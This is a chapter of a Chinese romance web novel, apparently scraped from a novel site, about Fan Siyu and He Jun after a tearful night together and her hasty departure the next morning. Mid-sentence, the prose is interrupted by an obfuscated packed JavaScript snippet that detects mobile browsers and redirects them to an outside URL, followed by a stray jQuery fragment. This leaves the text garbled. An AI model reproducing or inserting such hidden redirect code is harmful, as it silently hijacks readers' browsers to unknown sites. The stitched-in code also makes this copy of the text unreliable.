“别哭。”
听到声音,范思雨睁开眼。眼神没有聚焦,显得无神。眼泪渐渐回收,没有滴下来。但她一副天生的泪眼,看起来已经像哭的样子。
具有迷惑性,带着不真实。
贺晙把她凌空抱起来。
慌忙中,她抓住了他的双肩。脸在他的正上方。因身形的晃动,眼中的泪还是直直地垂了下来。
泪带着范思雨的体温,落到贺晙的脖颈上。
“思雨。”他亲了亲她的面颊,“乖,别哭了。”
听到这个声音,更是无法遏止地泪涌。连带着鼻腔也开始湿润到不行。
他把侧脸埋在范思雨的左肩,对着她的左耳。
范思雨鬓角的绒毛都能感受到他呼出的气息。
“思雨,我爱你,你爱我吗?”
整个客厅没有一丝声响。范思雨只觉自己的心跳胜过了万籁,快要从胸膛中嘭出来。哭意让她止不住地颤抖起来。
“你心跳得很快。”他把脸靠到她的左胸上。
她悬空的双脚踢了几下。心里生出无法脚踏实地的无奈。她现在处在很危险的情况中。刚刚就应该快点走。
不应该管贺旻有没有人照顾。甚至不用管网约车司机同不同意载客。最好是她没有见到贺旻在酒吧后门吵架的场景。甚至的甚至,她不应该上那趟卫生间。
一切就像条丝滑的坡道。她顺着坡道滑入了贺晙的网里。
她发现逃不开。
就像分手后的七天,她用克制和隐忍把这段感情挥剑斩断。以为经过两个月的时间,这种无妄的感情会随时间而去。
而他一点点的撩拨,就把垒起来的防线弄坍塌了。
“你可以不用回答了。”他把她的眼泪吻走了。
-
范思雨在酒吧里喝的是德国黑啤。有点苦味。
贺晙平时不大喝酒,因为喝了酒容易麻痹神经。他时刻保持清醒的头脑,手中的工作多,他需要一个快速运转的大脑来应付。
这是他第二次尝到德国黑啤的味道。和第一次在酒桌上喝到的味道不同,他觉得有点甜。
可能是经过范思雨的口的发酵吧。
范思雨累到睡着了。鸦色睫毛在床头灯的影照下,铺地像黑羊绒地毯,密密匝匝。鼻息渐渐均匀,不再带有湿重的喘息。眼角还有一点白色泪痕。
贺晙靠得很近。他能看清那点泪痕。拿手轻轻抚过。又怕惊醒怀里的人,不敢再动其他了。
肃丽之前汇报说范思雨收下了新手机。这会儿他拿起那只新手机,打开了界面。
他一直知道范思雨的手机密码。不过他从来没看过她的手机。手机界面很清爽,只有几个必用的程序。
他把手机里所有的支付系统,挂上他的银行卡。他认为范思雨都拿衣服去卖二手,肯定经济出问题了。
完了后,怀中人动了动。眉头皱了起来,像是要脱离他的怀抱一样,往床的边缘翻身。
他不悦地把人揽回来。听到范思雨嗫嚅了一声,嘴唇微微翘了翘。
凌晨两点,他告白后,范思雨哭成了泪人。他听着她的心跳,知道了她的答案。
他现在原谅她的执意“分手”。允许她在他面前任性几回。并遐想了一下,过年期间,应该可以陪他去做眼科手术。
窗外天光渐亮。范思雨不安地翻了个身,落入到他的怀里。眉头还是皱着的。
他亲了亲紧锁的眉心,像是给她点上了一根安眠香。
“做个好梦。梦里要有我。”
=
贺旻睡觉不踏实。一只脚翘在床外。
忽然有一阵亮。她的脚一蹬,整个人从蚕丝床品上滑了下来。
“思雨姐?”贺旻揉着刚撞了的脑门,看着范思雨坐在她的梳妆台前。刚刚的那阵亮,就是范思雨拧开了她梳妆台的轮廓灯。
“嗯?”范思雨有点慌乱,她已尽量把声音放轻了,还是吵醒了贺旻。
“你只管用吧。”贺旻看范思雨神色不大好,可能是宿醉的关系。手里拿着她的化妆品,在抹什么。
范思雨见她又倒下去休息了,便打开贺旻的遮瑕膏,挤了一点在手上,往脖子一侧的地方抹。
这个地方很刁钻,正面看不到,但侧面极其明显。还是她一早趁着贺晙在熟睡,在卫生间洗脸看到的。
这一看就知道是吻痕。学校教室很暖和,进去就要脱了围巾。这个位置,就算高领的毛衣都遮不住。
她对于化妆品不内行,涂了几下,觉得还是没遮住。但又不好叫贺旻帮她。
贺旻又在床上动弹了几下,说九点周姨会带早饭过来。她母亲带着保姆去五台山拜佛,给她哥求平安了。
范思雨虚虚应了一声。打算快点跑路。周姨又是个熟悉的人,看到她不知会说什么。再次传出她和贺晙复合就麻烦了。
拿起台面上的小镜子,扭着脖子看后面还有没有遗漏的。身上的痕迹她就不管了,反正也没人能看到。
“思雨姐,你吃了早饭再走呗。”贺旻皱着眉,“我还没谢你昨晚送我回来。”
范思雨嘴里说不必了,举手之劳。一边收拾化妆台。她自己的包昨晚被丢在客厅的沙发上,外套也是。
“那以后我再谢你。我带你去骑马啊。”贺旻把脑袋钻进了被窝,举了一只手朝范思雨说“拜拜”。
-
周姨提了早饭过来。厨房里的药锅一直在保温。她把解酒药倒了,着手收拾午饭。
才过了一刻钟,贺晙从二楼下来。见到周姨,打了个招呼。
“你来时,就一个人吗?”他去了餐厅,桌上两份早饭,热气腾腾的。
周姨说是的。她没见到贺旻下楼。
贺晙看沙发上的衣服和包也不见了,知道范思雨已经走了。
他睡了个好觉,倒让她钻了空子,跑路了。
客厅的时钟上,时针接近数字十。餐桌上的茶壶与桌面呈日晷夹角的三十度。
在两人温存的八个小时后,范思雨又不留片甲地走了。
贺晙碰了碰桌上的早餐,食之无味。
早上十点,范思雨原本有两节课要上。她从地铁口匆匆出来。三步并两步跑进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281597|166846||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学校。等她坐进课堂,恰好敲铃。讲台前的老教授开始点名。
她特地坐在角落,老教授的眼神射过来,似是要把她里外煎个透。所幸这门功课早一天预习过,不至于因某些暗昧情绪而听不明白。
中午回到宿舍,收到张若彤的消息,提醒她晚上要一起吃饭。范思雨叹了口气,她完全把这事忘记了。又翻箱倒柜地找衣服,以遮住脖颈上的痕迹。
方才在食堂来往的人群中,总是有幻觉自己被人看透了一般。照了照镜子,看着自己涨红的面颊,一把把马尾辫扯了下来。
-
肃丽和司机去别墅接了贺晙。
新加坡公司出了点问题,意外的棘手。马上就要上市,容不得一点儿差错。肃丽订好了票,晚上一定要赶过去。
早间肃丽听说贺晙睡了个好觉,始觉得安心了点。一见他肃着脸上车,心中又暗道不好。
她还没问出是什么事。司机提起要去一下H大,有份资料要拿过来。
车后座的人不置可否。司机用眼神求助肃丽。
肃丽只好说她进去拿。司机不好意思让一个孕妇走那么多路。两人争了一会儿。
贺晙适时打断。让司机进去拿。
司机也有眼力见,察觉贺晙的口气不大稳,便也不再开口。
到了H大的侧门外,司机把车停在路边,便下车去医学院。
正值夕阳西下。这辆轿车的贴膜比较早,并不完全防窥。肃丽往一侧的后视镜看了眼。恍惚看到贺晙的眼镜片闪过反光。她侧了侧身,看到后座的老板望着车窗外。这回她看了个仔细。贺晙盯着的方向是H大侧门的另一个方向。
那边有一辆蓝色的小轿车。一位穿着鲜艳的女孩跑过去。
这在大学门外屡见不鲜,只是那女孩是范思雨。她披散着发,大约是梳直了。瀑布似的垂及腰部。头上一个浅色发箍。一身雪色的羽绒服,底下穿了蓝呢格子裙。一副青春亮眼的面孔。
肃丽曾建议过范思雨把长发放下来,换一下形象。她听了也只是笑笑不说话。现在换了一身打扮,看起来清丽了许多。
范思雨没打开车门,使劲拉了几下,有些着急的模样。
肃丽听到车内的锁声开启,瞄了一眼后座。贺晙缓缓地摸着车门把手,打算要下车。
蓝车的司机开了门下来。转到范思雨这边的副驾位,给她开了车门,贴心地送了人进去。
肃丽见那男司机背影清瘦,一身黑大衣。刘海很长地随风扬起来,后脑勺扎了个小辫子。虽没看清脸,但感觉气质不俗。
车内没有再响起打开门的声音。贺晙坐回了位置,不再往窗外看。
上机场一路无话。司机送了贺晙进航站楼。肃丽在车座上松了口气。她的手机从手边滑下来,掉到了后座。回身摸索了一阵,见到贺晙方才坐过的位置,一旁的窗玻璃上有五个浅浅的指纹。
有时候就是这样阴差阳错。如果他没见到男司机的出现,会去找范小姐的吧?
由不得她多想,工作手机响起,她赶忙接了起来。
是贺旻打过来的。